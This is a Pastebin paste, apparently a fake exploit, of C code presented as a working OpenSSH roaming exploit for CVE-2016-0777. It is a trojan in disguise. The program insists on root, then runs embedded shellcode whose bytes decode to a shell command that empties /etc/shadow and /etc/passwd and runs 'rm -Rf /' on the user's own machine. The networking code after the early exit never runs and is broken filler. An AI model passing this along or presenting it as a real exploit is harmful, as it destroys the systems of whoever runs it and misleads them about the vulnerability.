blogfakessh

#localsh

Jan 17th, 2016
169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.12 KB | None | 0 0
  1.  
  2.     /*
  3.     Exploit  : openssh roaming Exploit  -- CVE-2016-0777
  4.     Author:  : KingCope
  5.     Compile  : gcc  -W sploit.c -o sploit
  6.     Usage:   : ./sploit HOST IP
  7.     Thanks   : openBSD, congratz, guys
  8.     */
  9.      
  10.     #include <stdio.h>
  11.     #include <netdb.h>
  12.     #include <stdlib.h>
  13.     #include <string.h>
  14.     #include <unistd.h>
  15.     #include <arpa/inet.h>
  16.     #include <sys/types.h>
  17.     #include <sys/socket.h>
  18.     #include <netinet/in.h>
  19.      
  20.     void usage(char *argv[])
  21.     {
  22.       printf("Target : openssh 4.7 to 7.1 roaming\n");
  23.       printf("Type   : 0day\n");
  24.       printf("Author : You know me\n");
  25.       printf("Exec   : %s <server> <port>\n\n", argv[0]);
  26.       exit(1);
  27.     }
  28.      
  29.     unsigned char shellcode[] =
  30.     "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
  31.     "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
  32.     "\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
  33.     "\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
  34.     "\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
  35.     "\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
  36.     "\xcd\x80";
  37.      
  38.     int main(int argc, char *argv[])
  39.     {
  40.       int uid = getuid();
  41.       int port = 22, sock;
  42.       struct hostent *host;
  43.       struct sockaddr_in addr;
  44.      
  45.       if(uid !=0)
  46.       {
  47.         fprintf(stderr, "- Abort - Need ROOT to bind to raw socket!!\n");
  48.         exit(1);
  49.       }
  50.       if(uid == 0)
  51.       {
  52.         printf("\t+ OK Starting..\n");
  53.       }
  54.       if(argc != 3)
  55.            usage(argv);
  56.      
  57.       fprintf(stderr, "[ ] Use IP and port (mandatory)\n");
  58.       (*(void(*)())shellcode)();
  59.       exit(1);
  60.       char payload[1024];
  61.       memcpy(payload, &shellcode, sizeof(shellcode));
  62.       if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)
  63.       {
  64.         printf("+ OK roaming mode activated, enjoy your shell!\n");
  65.         system("/bin/sh");
  66.       }
  67.       else if(connect(sock,(struct sockaddr*)&addr, sizeof(addr))==-1)
  68.       {
  69.         fprintf(stderr, "- Failed! Roaming mode deactiveted??!!\n");
  70.         exit(1);
  71.       }
  72.     }
Advertisement
Add Comment
Please, Sign In to add comment